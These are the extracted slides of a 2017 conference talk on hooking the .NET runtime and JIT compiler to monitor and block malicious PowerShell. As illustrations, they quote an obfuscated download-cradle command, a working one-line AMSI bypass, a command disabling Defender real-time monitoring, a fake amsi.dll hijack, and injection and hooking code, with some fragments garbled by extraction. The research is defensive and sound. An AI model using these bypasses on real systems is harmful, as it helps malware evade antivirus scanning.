.NET HIJACKING to DEFEND POWERSHELL

AMANDA ROUSSEAU
MALWARE UNICORN

Senior Malware Researcher @ Endgame, Inc.

Works as a Malware Researcher at Endgame who focuses on attacker technique application to dynamic behavior detection both on Windows and OSX platforms.

AMANDA ROUSSEAU

@malwareunicorn
GOALS

Allow PowerShell to be run in a normal environment
Analyze de-obfuscated commands
Remain stealthy in the environment to avoid bypasses
Allows run-time analysis and blocking
Supports PowerShell v2-5
TIMELINE
Offensive PowerShell and .NET Attacks

ATTACK HISTORY

2012
- Nishang (8/2012)
- PowerSploit (2012)

2013
- Plotus (10/2013)
- Power Worm (3/2014)

2014
- ConfuserEx (5/2014)
- Syrian Malware (8/2014)
- PowerLiks (8/2014)
- PowerShell Empire (2014)

2015
- CoinVault Ransomware (11/2014)
- Hunter EK (8/2015)
- Fileless Backdoor (8/2015)
- PS>Attack (12/2015)
- Trojan.Laziok (4/2016)

2016
- PowerSniff (3/2016)
- Fileless Backdoor (8/2015)
- Trojan.Laziok (4/2016)
- PowerDuke Backdoor (11/2016)
- PowerShell Ransomware (5/2016)
PHISHING CAMPAIGNS

Utilizing scripting for transitioning from the 1st stage of the attack to the 2nd stage payload

- PoweLiks
- PowerSniff
- PowerDuke
- Hunter Exploit Kit
BAD MALWARE PICKUP LINES

"Hey girl, do you like PowerShell? Because I'd like to stay persistent in your memory ;)

"
OBfuscation

ANALYSIS EVASION

Script Obfuscation

Code Protection Applications:
- ConfuserEx
- .NET Reactor:
  - string encryption
  - anti-decompilation
  - control flow obfuscation
  - anti-tampering

Invoke-Obfuscation

\{${'Ex'ec'ui'Tie'o'N'Co'NT\'e'x'T}'."IN'Ve'ke'Co'm'm'AN'd".'"N\'e'T.'W\'e'B'Cl'i'e'N'T\'"."D\'o\'w'N\'I\'o\'A'd\'S'T\'i\'N\'g"('ht'+'tps://bit.ly/L3g1t'))\}

CoinVault obfuscated C# Code

```csharp
using namespace Locker

public class frmMain : Form

private delegate void delegate_func();
private delegate void delegate_func(Label textbox, string str);
private delegate void delegate_func(NameValueCollection value);
private delegate void delegate_func(int value);
```
OFFENSIVE FRAMEWORKS

PowerShell Offensive Frameworks

Useful for automating attacks and post-exploitation routines

Collection of scripts to automate tasks such as:
• analysis evasion
• remote execution
• privilege escalation
• lateral movement
• exfiltration

Command to reflectively load and execute a PE binary into memory

Improve and propagate these PowerShell offensive techniques
FOUNDATIONS of .NET

COMMON LANGUAGE RUNTIME (CLR)

JUST-IN-TIME (JIT)

“STRONG NAMED” ASSEMBLIES

NGEN ASSEMBLIES

DECOMPILING .NET BINARIES

INTERMEDIATE LANGUAGE (IL)

C# Code

Referenced Assemblies

Compiler

Managed Assembly Metadata & IL codes

.NET Framework

CLR
clr.dll / mscorwks.dll

JIT
getJit()
crirjit.dll/mscorjit.dll

Managed Assembly
declMethod()
clrjit.dll/mscorjit.dll

Native/Machine
code

Referenced
Assemblies

getJit()
clrjit.dll/mscorjit.dll
# COMMON LANGUAGE RUNTIME (CLR)

## UNMANAGED Vs MANAGED

Handler that manages:
- Dependencies
- Memory
- Exceptions
- Synchronization

Managed Assemblies
- Metadata & IL Code

No additional information is required

Agnostic across architectures

---

### C# vs IL Code PowerShell ScriptBlock Create

```csharp
public static ScriptBlock Create(string script)
{
    return ScriptBlock.Create(new Parser(),
    script);
}
```

```csharp
.method /*06002149*/ public hidebysig static
class System.Management.Automation.ScriptBlock/*020003
16*/
    Create(string script) cil managed
    // SIG: 00 01 12 BC 58 0E
    {  
        // Method begins at RVA 0xa9499
        // Code size 12 (0xc)
        .maxstack 8
        IL_0000: /*/73|(06)001FDA*/ newobj
        instance void
        .ctor() /*06001FDA*/
        IL_0005: /*02 */ ldarg.0
        IL_0006: /*28 |(06)00214A*/ call class
16*/
16*/::Create(class
        string) /*0600214A*/
        IL_000b: /*2A */ ret
    } // end of method ScriptBlock::Create
```

---
JUST-IN-TIME COMPILER (JIT)

IL CODE → NATIVE CODE

Convert and optimize the IL code into native CPU instructions which is then stored in dynamic memory

- getJit()
- compileMethod()
JUST-IN-TIME COMPILER (JIT)

METADATA LOOKUPS

Assembly contains metadata tables
Lists of objects with names, offsets

Method Tokens are unique per module

<table>
<thead>
<tr>
<th>Metadata Table</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>ModuleDef (0x00)</td>
<td>Identity of the module</td>
</tr>
<tr>
<td>TypeDef (0x01)</td>
<td>List of class Types and the indexes to the methods that each class owns</td>
</tr>
<tr>
<td>MethodDef (0x02)</td>
<td>Each method entry contains the name, offset location, flags, and signature.</td>
</tr>
<tr>
<td>Assembly (0x20)</td>
<td>Contains information about the current assembly.</td>
</tr>
<tr>
<td>AssemblyRef (0x23)</td>
<td>Contains information about the referenced assemblies.</td>
</tr>
<tr>
<td>MemberRef (0x0A)</td>
<td>Contains each member including methods referenced by the module.</td>
</tr>
</tbody>
</table>
TRaversing the Metadata

Identify function offsets for hooking

Need to traverse the MethodDesc Tables to update the information for methods

**JIT Compiler Function Offsets**

<table>
<thead>
<tr>
<th>Offset</th>
<th>Method Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>D971C845B82D877107906335EFF1824C#32_2_0_50727_8670</td>
<td>s_pfnReset</td>
</tr>
<tr>
<td>2621605;MethodDesc::s_pfnIsGenericMethodDefinition</td>
<td></td>
</tr>
<tr>
<td>55606;MethodDesc::s_pfnIsGenericMethodDefinition</td>
<td></td>
</tr>
<tr>
<td>60512;MethodDesc::s_pfnGetNumGenericMethodArgs</td>
<td></td>
</tr>
<tr>
<td>76227;MethodDesc::s_pfnStripMethodInstantiation</td>
<td></td>
</tr>
<tr>
<td>60894;MethodDesc::s_pfnHasClassOrMethodInstantiation</td>
<td></td>
</tr>
<tr>
<td>160213;MethodDesc::s_pfnContainsGenericVariables</td>
<td></td>
</tr>
<tr>
<td>1179150;MethodDesc::s_pfnGetWrappedMethodDesc</td>
<td></td>
</tr>
<tr>
<td>56056;MethodDesc::s_pfnGetDomain</td>
<td></td>
</tr>
<tr>
<td>1020785;MethodDesc::s_pfnGetLoaderModule</td>
<td></td>
</tr>
<tr>
<td>4801122;LoadedMethodDescIterator::s_pfnConstructor</td>
<td></td>
</tr>
<tr>
<td>0;LoadedMethodDescIterator::s_pfnConstructor_v45</td>
<td></td>
</tr>
<tr>
<td>0;LoadedMethodDescIterator::s_pfnConstructor_v46</td>
<td></td>
</tr>
<tr>
<td>4950262;LoadedMethodDescIterator::s_pfnStart</td>
<td></td>
</tr>
<tr>
<td>0;LoadedMethodDescIterator::s_pfnNext_v4</td>
<td></td>
</tr>
<tr>
<td>4950393;LoadedMethodDescIterator::s_pfnNext_v2</td>
<td></td>
</tr>
<tr>
<td>4950297;LoadedMethodDescIterator::s_pfnCurrent_F43F70AF86B02890FCF95ED91EA373BB#32_4_0_30319_17929</td>
<td></td>
</tr>
<tr>
<td>_1BC333D76444B51B01A74B7447ADBC9E#64_2_0_50727_4963</td>
<td></td>
</tr>
</tbody>
</table>
MICROSOFT INTERMEDIATE LANGUAGE (MSIL)

CPU agnostic machine language that operates on a slightly higher level

CLI instruction set standard from ECMA-335

Address is a 4-byte value called a token
Relevant only to assembly

JIT Optimizes the IL instructions
Extraneous instructions such as NOP codes will be removed to improve performance

IL Instructions

<table>
<thead>
<tr>
<th>Instruction</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>JMP</td>
<td>Type Token Method Token</td>
</tr>
<tr>
<td>0x27</td>
<td>Little Endian 4 Byte Order</td>
</tr>
</tbody>
</table>

```c
// One-byte opcodes

#define ILOPCODE_NOP      0x00
#define ILOPCODE_BREAK    0x01
#define ILOPCODE_LDARG_0  0x02
#define ILOPCODE_LDARG_1  0x03
#define ILOPCODE_LDARG_2  0x04
#define ILOPCODE_LDARG_3  0x05
#define ILOPCODE_LDLOC_0  0x06
#define ILOPCODE_LDLOC_1  0x07
#define ILOPCODE_LDLOC_2  0x08
#define ILOPCODE_LDLOC_3  0x09
```
MICROSOFT INTERMEDIATE LANGUAGE (MSIL)

CPU agnostic machine language that operates on a slightly higher level

Pushed and popped on the stack
.maxstack refers the stack slot size needed for arguments and local variables

After JIT
Can acquire the virtual memory address of the method. Using GetFunctionPointer.

PowerShell ScriptBlock IL Instructions

```
.method /*06002149*/ public hidebysig static
class System.Management.Automation.ScriptBlock/*02000316*/
    Create(string script) cil managed
    // SIG: 00 01 12 8C 58 0E
    { // Method begins at RVA 0xa9499
      // Code size 12 (0xc)
      .maxstack 8
      IL_0000:  /*73|(06)001FDA*/ newobj instance void System.Management.Automation.Parser/*020002F7*/::.ctor()
                  /*06001FDA*/
                  IL_0005:  /*02|*/ ldarg.0
                  IL_0006:  /*28|(06)00214A*/ call class System.Management.Automation.ScriptBlock/*02000316*/
                  string) /*0600214A*/
                  IL_000b:  /*2A|*/ ret
      } // end of method ScriptBlock::Create
```
DECOMPILING .NET BINARIES

Can easily be decompiled & disassembled

Tools rely on disassembling the IL code and reconstructing the C# code based on the metadata definition
- original function names
- function offsets
- membership to parent classes

Tools
- dotPeek
- dnSpy
- ILspy
- De4dot
- ILAsm.exe & ILDasm.exe
DECOMPILING .NET BINARIES

DotPeek

https://www.jetbrains.com/decompiler/
STRONG NAMED ASSEMBLIES

Fixes version dependency from DLL Hell

Uniquely identified assemblies signed with a publisher’s public/private key pair
Public key is embedded into the header of the assembly
Intended to tamper-resistant

**Global assembly cache (GAC)**
.NET tool gacutil.exe to install assembly
Weak assemblies searched by its file name and executable extension with in the containing folder.

---

Public Key Token Reference for Mscorlib

```csharp
.assembly extern /*23000001*/ mscorlib
{
    .publickeytoken = (B7 7A 5C 56 19 34 E0 89 )
    .ver 2:0:0:0
}
```

---

**GAC Locations**

- `%SystemRoot%\Microsoft.NET\Assembly\GAC`
- `%SystemRoot%\Microsoft.NET\Assembly\GAC_32`
- `%SystemRoot%\Microsoft.NET\Assembly\GAC_64`
- `%SystemRoot%\Microsoft.NET\Assembly\GAC_MSIL`
STRONG NAMED ASSEMBLIES

BYPASSING ANTI-TAMPERING

.NET Framework version 3.5 Service Pack 1

Strong-name signatures are not validated when an assembly is loaded

<table>
<thead>
<tr>
<th>Arch</th>
<th>Windows Registry Key to Disable for All Applications</th>
</tr>
</thead>
<tbody>
<tr>
<td>32</td>
<td>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft.NETFramework\AllowStrongNameBypass</td>
</tr>
<tr>
<td>64</td>
<td>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft.NETFramework\AllowStrongNameBypass HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Wow6432Node\Microsoft.NETFramework\AllowStrongNameBypass</td>
</tr>
</tbody>
</table>

C# Application Configuration for One Application

```csharp
<configuration>
  <runtime>
    <bypassTrustedAppStrongNames enabled="false" />
  </runtime>
</configuration>
```
NGEN ASSEMBLIES

BYPASSES JIT COMPILATION

Native Images are precompiled native code PE binaries

Install & Uninstall
Ngen.exe

Contains both IL & Machine Code

Code will load native images before IL assemblies

<table>
<thead>
<tr>
<th>Native Images</th>
</tr>
</thead>
<tbody>
<tr>
<td>C:\Windows\assembly\NativeImages_v2.0.50727_32\</td>
</tr>
<tr>
<td>C:\Windows\assembly\NativeImages_v2.0.50727_64\</td>
</tr>
<tr>
<td>C:\Windows\assembly\NativeImages_v4.0.30319_32\</td>
</tr>
<tr>
<td>C:\Windows\assembly\NativeImages_v4.0.30319_64\</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>IL Assembly</th>
</tr>
</thead>
<tbody>
<tr>
<td>System.Management.Automation.dll</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Native Image</th>
</tr>
</thead>
<tbody>
<tr>
<td>System.Management.Automation.ni.dll</td>
</tr>
</tbody>
</table>
POWERSHELL

A POWERFUL SCRIPTING LANGUAGE

Directly access globally cached .NET assemblies

Reflectively load .NET assemblies which can load C-based Windows libraries

Run unsigned scripts locally

Run scripts that are interpreted and executed as base64 strings.
SCRIPTBLOCKS

All string or stream based scripts are parsed and compiled within a ScriptBlock.

PowerShell source code differs in each version

---

**PowerShell ScriptBlock Create**

```csharp
public static ScriptBlock Create(string script) {
    return ScriptBlock.Create(new Parser(), script);
}
```

---

<table>
<thead>
<tr>
<th>PS Version</th>
<th>Released</th>
<th>Default Windows Versions</th>
<th>.NET CLR Versions</th>
</tr>
</thead>
<tbody>
<tr>
<td>1.0</td>
<td>2006</td>
<td>WinServer 2008</td>
<td>2.0.50727</td>
</tr>
<tr>
<td>2.0</td>
<td>2009</td>
<td>Win7 WinServer 2008 R2</td>
<td>2.0.50727</td>
</tr>
<tr>
<td>3.0</td>
<td>2012</td>
<td>Win8 WinServer 2012</td>
<td>4.0.30319</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>4.5+</td>
</tr>
<tr>
<td>4.0</td>
<td>2013</td>
<td>Win8.1 WinServer 2012 R2</td>
<td>4.0.30319</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>4.5+</td>
</tr>
<tr>
<td>5.0</td>
<td>2014</td>
<td>Win10</td>
<td>4.5+</td>
</tr>
</tbody>
</table>
BAD MALWARE PICKUP LINES

“Hey girl, do you like PowerShell? I can tell you do by the invoked expression I gave you ;)
// Adding libraries for powershell stuff
using System.Collections.ObjectModel;
using System.Management.Automation;

namespace SharpPick
{
    class Program
    {
        static string RunPS(string cmd)
        {
            // Init stuff
            Runspace runspace = RunspaceFactory.CreateRunspace();
            runspace.Open();
            RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace);
            Pipeline pipeline = runspace.CreatePipeline();

            // Add commands
            pipeline.Commands.AddScript(cmd);

            // Prep PS for string output and invoke
            pipeline.Commands.Add("Out-String");
            Collection<PSObject> results = pipeline.Invoke();
            runspace.Close();
        }
    }
}
.NET assemblies and can reflectively load C-based Windows DLL

PowerSploit: Invoke-Shellcode

```powershell
# Get a reference to System.dll in the GAC

$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')

# Get a reference to the GetModuleHandle and GetProcAddress methods
$GetModuleHandle = $UnsafeNativeMethodsGetMethod('GetModuleHandle')
$GetProcAddress = $UnsafeNativeMethodsGetMethod('GetProcAddress')

# Get a handle to the module specified
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
$tmpPtr = New-Object IntPtr
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
```

PowerShell v5 Anti-Malware Scan Interface

Windows 10

Allows Windows Defender and third party Anti-virus solutions access the script code

Provides:
Memory and Stream scanning
De-obfuscated plain code

Detect C# .NET usage of the PowerShell assembly
**AMSNI**

*Anti Malware Scan Interface*

**SUSPICIOUS METHODS**

```
```

GetMethod
GetMethods
GetNestedType
GetNestedTypes
GetProperties
GetProperty
InvokeMember
GetDelegateForFunctionPointer
kernel32

...
A high-level view of the script is as follows:

```powershell
$code = 8" Sv ('R9'+'HYt') ( " )
93]rahC]gnirtS[, 'UCS'(ecalpeR.)]g93]rahC]gnirtS[, 'aEm'(ecalpe
R.')')eurt '+ 'aEm, llun' + 'aEm(eulaVt' + 'eS' + ')')UCSct' + 'atS, ci' + 'l
buPnoNUCS' + 'U' + 'CSdeli' + 'aFt' + 'inI' + 'is' + 'maUCS(' + 'dle' + 'iF' +
'teG' + ')') + 'UCSslitU' + 'is' + 'mA.noitamotu' + 'A.tn' + 'em' + 'egan
aM.' + 'm' + 'e' + 't' + 'syUCS(epy' + 'TteG.ylbmessA' + ')') + 'feR'
(noisserpxE-ekovnI") ); Invoke-Expression( -Join ( Variable
('R9'+'hyT') -val ) -1.. - (( Variable ('R9'+'hyT') -val
).Length))"8
```
**AMSI BYPASSES**

**DISABLING AMSI**

AMSI provides a command to disable the real-time monitoring for Windows Defender

**DLL Load Hijacking to replace ASMI.dll**

p0wnshell was trying to load the ASMI.dll in the local executing directory

Place a fake copy of the ASMI.dll in this local directory

```powershell
PS C:\> Set-MpPreference -DisableRealtimeMonitoring $true
```

**Fake AMSI.DLL**

```c
#include <windows.h>

BOOL APIENTRY DllMain( 
    HINSTANCE hinstDLL, // handle to DLL module 
    DWORD fdwReason,    // reason for calling function 
    LPVOID lpReserved  // reserved 
)
{
    switch (fdwReason)
    {
    case DLL_PROCESS_ATTACH:
        MessageBox(NULL, TEXT("Sorry Amsi\nYou're Screwed!"), 
                   TEXT("Amsi.dll Bypass"), MB_OK);
        break;
    
```
ASSEMBLY FIELD MODIFICATION

Using .NET reflection, a user can modify values within a class.

When the AmsiUtils class is loaded, the class initialization result can be modified to appear as failed by setting it to True.

```csharp
PowerShell to Disable AMSI by Setting AmsiInitFailed

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed', 'NonPublic,Static').SetValue($null, $true)

AMSI Integration code

```int` AMSIIntegration()
```
{
    HAMSICONTEXT amsiContext;
    HRESULT hres;
    hres = CoInitializeEx(0, COINIT_MULTITHREADED);
    hres = AmsiInitialize(L"Win32Project2", &amsiContext);
    if (FAILED(hres))
    {
        std::cout << "AmsiInitialize fails" << std::endl;
        CoUninitialize();
        return -1; // Program has failed.
    }
```
METHODS AND SOLUTIONS

C# DLL INJECTION

.NET ROOTKITS BINARY MODIFICATION

CLR PROFILING

JIT COMPILER HOOKING

C-BASED METHOD HOOKING
C# DLL INJECTION

To run an injected C# assembly DLL, it must be first wrapped in a C-based wrapper DLL. C# DLL does not have a DllMain().

Determine the version of CLR
Host process will use the environment’s .NET version unless forced to an older version.

Will need to be a payload compiled for different major version of .NET (2.0, 3.5, 4.0, 4.5, and 4.6).
C# DLL INJECTION

Load mscoree.dll CLR library

Load the C# payload into the host process’s C# AppDomain

Using a precompiled C# payload and adding it as an embedded resource in the parent C-based DLL

CoCreateInstance to access the CLR runtime environment of the host process

Grab the AppDomain and load the assembly as a bytestream stored in the resource section

```csharp
CoInitializeEx(0, COINIT_MULTITHREADED);
ICorRuntimeHost* pICorRuntimeHost = 0;
HRESULT st = CoCreateInstance(CLSID_CorRuntimeHost, 0,
CLSCTX_ALL, IID_ICorRuntimeHost,
(void**)&pICorRuntimeHost);
if (!pICorRuntimeHost) {
    return 1;
}
HDOMAINENUM hEnum = NULL;
pICorRuntimeHost->EnumDomains(&hEnum);
if (!hEnum) {
    return 1;
}
IUnknown* pUunk = 0;
st = pICorRuntimeHost->NextDomain(hEnum, &pUunk);
if (!pUunk) {
    return 1;
}
CComPtr<mscorlib::AppDomain> pAppDomain = NULL;
st = pUunk->QueryInterface(__uuidof(CComPtr<mscorlib::AppDomain>), (VOID**)&pAppDomain);
if (!pAppDomain) {
    return 1;
}
```
NET ROOTKITS BINARY MODIFICATION

MODIFYING GAC ASSEMBLY

Metula’s BlackHat talk about developing .NET framework rootkits

1. Targeting a GAC assembly to decompile into its IL code

2. Modify the IL code by injecting functions

3. Recompiling the IL

4. Force the framework to use the modified DLL

C# Compiled Assembly DLL

Disassembles using ILDasm

IL Codes

Insert Loader Function

Reassemble using ILAsm

Overwrite Original DLL

%SystemRoot%\Microsoft.NET\Assembly\GAC_MSIL\System.Management.Automation<version>\System.Management.Automation.dll
NET ROOTKITS BINARY MODIFICATION

Avoid Human Error

.NET-Sploit

dotNetHookLibrary

Mono.Cecil

Load existing assemblies statically or dynamically to modify the IL code to insert new code for you

Used by both developers and gaming hackers
CLR DYNAMIC HOOK INJECTION

.NET framework provides its own CLR performance monitoring API to evaluate the runtime performance of JITed IL code

- Allows tighter control over the CLR

  JIT environment monitors the execution

  Any time a module, assembly, or method loads it will track that event
## Setting IL Hook

### Target, Hooked, and Trampoline

```c
struct injectorTrampoline {
    BYTE methodHeader; // TINY format header
    BYTE ilCall01;
    DWORD refTranpoline;
    BYTE ilRet;

    injectorTrampoline(mdMethodDef tkClrHook)
    {
        ilCall01 = 0x28;
        refTranpoline = tkClrHook;
        ilRet = 0x2A;
        methodHeader = CorILMethod_TinyFormat|((sizeof(injectorTrampoline)-1)<<CorILMethod_FormatShift-1));
    }
};
```
JIT COMPILER HOOKING

**DLL INJECTION & HOOKING**

Modify methods on the fly so that a developer can test inputs for methods without being invasive

1. An injector process will inject the unmanaged wrapper DLL into the target process.
2. The wrapper DLL will determine the version of CLR and JIT to acquire the method offsets for hooking.
3. Using a C-based hooking library called EasyHook the JIT's compileMethod functions installs a hook to a prototype of compileMethod.
4. Now load the C# hooking library into the AppDomain of the target process.
5. Update the IL code to install the trampoline method to the C# hooked prototype method.
JIT COMPILER HOOKING

Hooking JIT from compileMethod()

```c
// Set Jit
p_getJit = (ULONG_PTR *)__stdcall GetProcAddress(g_hJitModule, "getJit");
if (p_getJit)
{
    ICorJitCompiler::Instance = (ICorJitCompiler *)__stdcall p_getJit();
    if (ICorJitCompiler::Instance)
    {
        DWORD OldProtect;
        VirtualProtect(ICorJitCompiler::Instance, sizeof(ULONG_PTR), PAGE_READWRITE, &OldProtect);
        compileMethodcache = ICorJitCompiler::Instance->compileMethodintercept;
        ICorJitCompiler::Instance->compileMethodintercept = &ICorJitCompiler::compileMethod;
        VirtualProtect(ICorJitCompiler::Instance, sizeof(ULONG_PTR), OldProtect, &OldProtect);
        // Set Hook
        ICorJitCompiler::PFN_compileMethod pfnCompileMethod = &ICorJitCompiler::compileMethod;
        LPVOID *pAddr = (LPVOID*)pfnCompileMethod;
        NTSTATUS nStatus = LhInstallHook(
            (PVOID&)ICorJitCompiler::Instance->compileMethodintercept,
            *pAddr,
            NULL,
            &s_hHookCompileMethod);
```
# JIT COMPILER HOOKING

## PowerShell Eventing From Hooking JIT

<table>
<thead>
<tr>
<th>Code</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0.13175010[2888]</td>
<td>System.Management.Automation.PSObjectPropertyDescriptor</td>
</tr>
<tr>
<td>0.13181540[2888]</td>
<td>System.Management.Automation.PSObjectPropertyDescriptor</td>
</tr>
<tr>
<td>0.13184530[2888]</td>
<td>System.Management.Automation.PSObjectPropertyDescriptor</td>
</tr>
<tr>
<td>0.13213710[2888]</td>
<td>System.Management.Automation.Runspaces.TypeTableLoadException</td>
</tr>
<tr>
<td>0.13217470[2888]</td>
<td>System.Management.Automation.Runspaces.TypeData</td>
</tr>
<tr>
<td>0.13226460[2888]</td>
<td>System.Management.Automation.Runspaces.TypeMemberData</td>
</tr>
<tr>
<td>0.13254040[2888]</td>
<td>System.Management.Automation.Runspaces.TypeTable</td>
</tr>
<tr>
<td>0.13258070[2888]</td>
<td>System.Management.Automation.ExtendedTypeSystemException</td>
</tr>
</tbody>
</table>

---

CanSecWest 2017 | .NET Hijacking to Defend PowerShell
Machine Code Manipulation

Topher’s DEFCON talk illustrated the manipulation of .NET machine code in memory locations that were R-W-X after IL JITed.

Tool GreyStorm used to inject shellcode into memory blocks of methods.

Diagram:
- Managed Assembly Metadata & IL codes
- .NET Framework
- CLR
  - clr.dll
  - mscorwks.dll
- JIT
  - getJit()
  - compileMethod()
  - clrjit.dll/mscorjit.dll
- Native/Machine Code
  - Hook is Placed on this Level
C-BASED METHOD HOOKING

Machine Code Manipulation

Use pointer reflection

Create your traditional ASM trampoline code in a byte array and overwrite the method

Need to keep the original method code

Tricky to handle method arguments

Prototype method needs to be accessible

PrepareMethod & GetFunctionPointer

```csharp
MethodInfo commandCtor = targetType.GetMethod("ParseScriptBlock");


IntPtr commandCtorPtr = commandCtor.MethodHandle.GetFunctionPointer();
```
RESULTS
# SOLUTION RESULTS COMPARISON

<table>
<thead>
<tr>
<th>Requirements</th>
<th>IL Binary Modification</th>
<th>CLR Profiler Hooking</th>
<th>JIT Hooking</th>
<th>Machine Code Manipulation</th>
</tr>
</thead>
<tbody>
<tr>
<td>Runtime Analysis</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
</tr>
<tr>
<td>Run on PowerShell v2+</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
</tr>
<tr>
<td>Stealth vs AMSI</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
</tr>
<tr>
<td>Any System Artifacts?</td>
<td>YES</td>
<td>YES</td>
<td>NO</td>
<td>NO</td>
</tr>
<tr>
<td>NGEN to Be Uninstalled</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
</tr>
<tr>
<td>Requires Signature Validation</td>
<td>YES</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
</tr>
</tbody>
</table>

**Difficulty**
- High (If Manual)
- Low
- Medium
- High
## SOLUTION RESULTS COMPARISON

<table>
<thead>
<tr>
<th>Requirements</th>
<th>IL Binary Modification</th>
<th>CLR Profiler Hooking</th>
<th>JIT Hooking</th>
<th>Machine Code Manipulation</th>
</tr>
</thead>
<tbody>
<tr>
<td>Runtime Analysis</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
</tr>
<tr>
<td>Run on PowerShell v2+</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
</tr>
<tr>
<td>Stealth vs AMSI</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
</tr>
<tr>
<td>Any System Artifacts?</td>
<td>YES</td>
<td>YES</td>
<td>NO</td>
<td>NO</td>
</tr>
<tr>
<td>NGEN to Be Uninstalled</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
</tr>
<tr>
<td>Requires Signature Validation</td>
<td>YES</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
</tr>
<tr>
<td>Difficulty</td>
<td>High</td>
<td>Low</td>
<td>Medium</td>
<td>High</td>
</tr>
</tbody>
</table>
TAKE AWAYS

INTERCEPT THE ACTUAL POWERSHELL METHOD

STAY STEALTHY

DO IT RIGHT, DON’T CRASH POWERSHELL

WELCOME TO .NET HELL

amanda.secured.org